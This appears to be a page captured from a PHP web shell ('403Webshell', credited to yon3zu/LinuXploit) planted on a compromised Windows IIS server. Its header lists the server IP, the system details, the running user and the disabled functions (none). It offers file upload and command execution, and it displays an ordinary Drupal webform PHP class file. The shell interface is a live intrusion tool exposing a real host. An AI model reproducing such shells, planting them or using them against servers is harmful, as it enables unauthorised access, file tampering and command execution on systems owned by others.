403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/enoikio/modules/webform/src/Element/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/enoikio/modules/webform/src/Element/WebformComputedTwig.php
<?php

namespace Drupal\webform\Element;

use Drupal\webform\Twig\WebformTwigExtension;
use Drupal\webform\WebformSubmissionInterface;

/**
 * Provides an item to display computed webform submission values using Twig.
 *
 * @RenderElement("webform_computed_twig")
 */
class WebformComputedTwig extends WebformComputedBase {

  /**
   * Whitespace spaceless.
   *
   * Remove whitespace around the computed value and between HTML tags.
   */
  const WHITESPACE_SPACELESS = 'spaceless';

  /**
   * Whitespace trim.
   *
   * Remove whitespace around the computed value.
   */
  const WHITESPACE_TRIM = 'trim';

  /**
   * {@inheritdoc}
   */
  public function getInfo() {
    return parent::getInfo() + [
      '#whitespace' => '',
    ];
  }

  /**
   * {@inheritdoc}
   */
  public static function computeValue(array $element, WebformSubmissionInterface $webform_submission) {
    $whitespace = (!empty($element['#whitespace'])) ? $element['#whitespace'] : '';

    $template = ($whitespace === static::WHITESPACE_SPACELESS) ? '{% spaceless %}' . $element['#template'] . '{% endspaceless %}' : $element['#template'];

    $options = ['html' => (static::getMode($element) === static::MODE_HTML)];

    $value = WebformTwigExtension::renderTwigTemplate($webform_submission, $template, $options);

    return ($whitespace === static::WHITESPACE_TRIM) ? trim($value) : $value;
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit